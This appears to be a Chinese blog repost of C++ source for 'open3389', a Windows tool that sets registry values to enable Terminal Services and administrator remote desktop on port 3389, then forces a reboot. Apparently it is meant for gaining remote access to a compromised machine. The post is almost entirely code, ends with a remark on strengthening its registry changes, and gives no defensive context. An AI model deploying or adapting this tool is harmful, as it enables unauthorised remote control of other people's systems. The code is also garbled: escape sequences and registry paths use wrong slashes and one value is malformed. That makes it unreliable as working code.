现在的位置: 首页 > 综合 > 正文

open3389源程序

2013年11月29日 ⁄ 综合 ⁄ 共 1944字 ⁄ 字号 评论关闭
来自:laoxie‘s Blog
void main(int argc, char* argv[])
{
HKEY hKey;
HANDLE hProcess, hToken;
TOKEN_PRIVILEGES NewState;
DWORD ProcessId, ReturnLength = 0;
LUID luidPrivilegeLUID;
LPCTSTR key[]={"SOFTWARE//Microsoft//Windows//CurrentVersion//netcache//",
 "SOFTWARE//Policies//Microsoft//Windows//Installer//",
 "SYSTEM//CurrentControlSet//Control//Terminal Server//",
 "SYSTEM//CurrentControlSet//Services//TermDD//",
 "SYSTEM//CurrentControlSet//Services//TermService//",
 "SYSTEM//CurrentControlSet//Control//Terminal Server//WinStations//RDP-Tcp//",
 ".DEFAULT//Keyboard Layout//Toggle//"};
HKEY head[]={HKEY_LOCAL_MACHINE, HKEY_LOCAL_MACHINE,
 HKEY_LOCAL_MACHINE,HKEY_LOCAL_MACHINE,
HKEY_LOCAL_MACHINE,HKEY_LOCAL_MACHINE,
HKEY_USERS};
DWORD type[] = {REG_DWORD,REG_DWORD,REG_DWORD,REG_DWORD,REG_DWORD,REG_
DWORD,REG_SZ};
LPCTSTR value[] = {"/x00/x00/x00/x00", "/x01/x00/x00/x00", "/x01/x00/x00/x00", "
/x02/x00/x00/x00", "/x02/x00/x00/x00", "/x3d/x0d/x00/00", "2"};
DWORD length[] = {4, 4, 4, 4, 4, 4, 2};
LPCTSTR name[] = {"Enabled","EnableAdminTSRemote","TSEnabled","Start","Start",
"PortNumber","Hotkey"};
for(int i = 0; i < 2; i++)
RegCreateKeyEx(head[i],key[i],0,NULL,REG_OPTION_NON_VOLATILE,KEY_
WRITE,NULL,&hKey,NULL);
for(i = 0; i < 7; i++)
{
if(::RegOpenKeyEx(head[i], key[i], 0, KEY_WRITE, &hKey) != ERROR_SUCCESS)
{
cout<<"Error Opening Register.../n";
return;
}
if(::RegSetValueEx(hKey, name[i], 0, type[i], (LPBYTE)value[i], length[i]) != ERROR_SUCCESS)
{
cout<<"Error Writing Register.../n";
return;
}
}
ProcessId = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
if(!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)
||!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID))
{
cout<<"Error! Try iisreset.exe /reboot to reboot system!";
return;
}
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luidPrivilegeLUID;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
ExitWindowsEx(EWX_FORCE | EWX_REBOOT, 0);
return;
}

大体看了一下如果改进注册表方面.可能功能可以加强一点.

抱歉!评论已关闭.